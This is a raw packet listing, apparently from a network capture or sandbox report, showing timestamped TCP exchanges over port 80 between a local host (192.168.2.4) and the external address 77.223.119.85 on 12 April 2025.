Apr 12, 2025 19:35:16.031543970 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031544924 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031555891 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031565905 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031575918 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031584024 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031585932 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031596899 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031601906 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031608105 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031619072 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031626940 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031630993 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031641006 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031645060 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031663895 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031757116 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031768084 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031778097 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031788111 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031790018 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031800985 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031800985 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031812906 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031822920 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031829119 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031835079 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031845093 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031845093 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031858921 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031866074 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031871080 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031882048 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031891108 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031893015 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031903982 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031914949 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031915903 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031925917 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031935930 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031935930 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031946898 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031956911 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031965017 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031970024 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031980991 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031991959 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031992912 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032004118 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032011032 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032016039 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032030106 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032041073 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032051086 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032068968 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032080889 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032082081 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032097101 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032099009 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032113075 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032124043 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032135963 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032138109 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032149076 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032160044 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032161951 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032171011 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032179117 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032181978 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032191992 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032205105 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032205105 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032219887 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032231092 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032239914 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032246113 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032262087 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032264948 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032274008 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032285929 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032289028 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032296896 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032308102 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032315969 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032320023 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032330990 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032331944 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032342911 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032352924 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032355070 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032365084 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032375097 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032386065 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032392979 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032397032 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032407045 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032417059 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032417059 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032423019 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032433987 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032443047 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032453060 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032455921 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032464981 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032476902 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032486916 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032493114 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032500982 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032510042 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032511950 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032521963 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032526970 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032533884 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032543898 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032552958 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032556057 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032566071 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032576084 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032582998 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032587051 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032598019 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032599926 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032610893 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032622099 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032622099 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032634020 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032636881 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032644987 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032655001 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032661915 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032665968 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032677889 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032686949 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032687902 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032699108 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032706022 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032710075 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032721043 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032727957 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032731056 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032742023 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032752037 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032754898 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032763004 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032773018 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032777071 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032783985 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032794952 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.032798052 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032814026 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.032830000 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.257795095 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.257813931 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.257824898 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.257831097 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258034945 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258034945 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258241892 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258253098 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258263111 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258271933 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258281946 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258291960 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258301020 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258311033 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258320093 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258325100 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258328915 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258339882 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258346081 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258349895 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258358955 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258369923 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258373022 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258393049 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258423090 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258800983 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258811951 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258821964 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258832932 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258841991 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258852005 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258855104 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258861065 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258872032 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258882999 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258894920 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258913040 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258933067 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258934975 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258944988 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258950949 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258954048 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.258955956 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258970022 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258980989 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.258991003 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259001017 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259004116 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259011030 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259021997 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259023905 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259023905 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259035110 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259046078 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259047985 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259063959 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259077072 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259078026 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259078026 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259088039 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259095907 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259099960 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259110928 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259115934 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259120941 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259125948 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259130955 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259135008 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259156942 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259169102 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259179115 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259188890 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259190083 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259198904 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259211063 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259219885 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259231091 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259233952 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259234905 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259242058 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259247065 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259252071 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259257078 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259260893 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259273052 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259283066 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259291887 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259294033 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259304047 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259313107 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259314060 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259313107 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259322882 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259335041 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259335995 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259346008 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259356022 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259356022 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259366989 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259376049 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259377003 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259392023 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259396076 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259411097 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259429932 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259448051 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259499073 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259510040 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259520054 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259530067 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259540081 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259548903 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259560108 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259567022 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259583950 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259602070 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259804964 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259815931 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259825945 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259835958 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259849072 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259856939 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259865046 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.259876013 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259901047 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.259990931 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260000944 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260010004 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260020018 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260030985 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260040045 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260051012 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260061026 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260061026 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260061026 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260072947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260083914 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260087013 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260097027 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260102034 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260107994 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260117054 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260117054 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260128021 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260137081 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260149002 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260157108 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260160923 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260174036 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260181904 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260183096 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260184050 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260193110 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260201931 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260204077 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260236979 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260253906 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260478020 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260488987 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260498047 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260508060 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260518074 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260528088 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260538101 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260548115 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260551929 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260559082 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260570049 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260570049 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260579109 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260591030 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260596037 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260607958 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260629892 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260641098 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260649920 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260649920 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260649920 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260659933 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260670900 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260680914 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260687113 CEST	80	49713	77.223.119.85	192.168.2.4
